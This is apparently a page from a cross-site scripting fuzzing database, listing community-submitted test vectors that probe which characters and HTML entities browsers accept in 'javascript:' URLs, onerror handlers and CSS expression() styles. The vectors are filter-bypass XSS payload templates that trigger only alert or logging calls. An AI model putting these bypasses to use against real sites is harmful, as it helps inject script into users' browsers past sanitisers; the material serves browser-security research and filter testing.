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<!-- sample vector --> <img src onerror0x0a=0x0aalert(1)>

Fuzz vector cloud

Anchor Attributes CSS Closing Comments HTML HTML5 JavaScript Property Protocol Script URL XSS attribute bla bypass challenge char comment data encoding entities entity event events expression flash for fun handler href img innerHTML navigateURL onload prompt properties regex space src string style svg tag tags test testing uri vbscript xml

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Searching for "entities"

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Description Vector Created by
allowed characters in entities <a id="fuzzelement*num*" href="javascript&col*chr*on;alert">aaa</a> <script> if(document.getElementById('fuzzelement*num*').protocol==='javascript:'){ logChr(*num*); } </script> @insertScript
Characters that can be used to terminate entities in an href <a href="javascript&colon*chr*log(*num*)" id="fuzzelement*num*">test</a> @tifkin_
Characters allowed between and in HTML entities in style attribute <div style="x:expression(l&*chr*#x6F;gChr(*num*))"> @tifkin_
characters allowd in html entities <a href="javascript&co*chr*lon;alert(1)" id="fuzzelement*num*">test</a> @insertScript
Entities allowed with no semi colon htmlStr = '<div title="'+*dataentities*.replace(/;/,'')+'">test</div>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.title.length===1) { customLog(*dataentities*); } }catch(e){}; @garethheyes
html dataentities before event handler <img src="x" asdf/="_=" alt=" *dataentities*onerror=logChr(*num*) //"> @testacc40590139
Entities allowed instead of colon for js protocol htmlStr = '<a href="javascript'+*dataentities*+'123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; @peksa
Entities allowed after js protocol htmlStr = '<a href="javascript'+*dataentities*+':123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; @garethheyes
Entities allowed before js protocol htmlStr = '<a href="'+*dataentities*+'javascript:123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; @garethheyes
Entities allowed inside js protocol htmlStr = '<a href="java'+*dataentities*+'script:123">test</a>'; document.getElementById('placeholder').innerHTML = htmlStr; try { if(document.getElementById('placeholder').firstChild.protocol === 'javascript:') { customLog(*dataentities*); } }catch(e){}; @garethheyes
Entities allowed before CSS rule htmlStr = '<div style="'+*dataentities*+'color:#cccccc;"></div>'; document.getElementById('placeholder').innerHTML = htmlStr; if(document.getElementById('placeholder').firstChild.style.color.length) { customLog(*dataentities*); } @garethheyes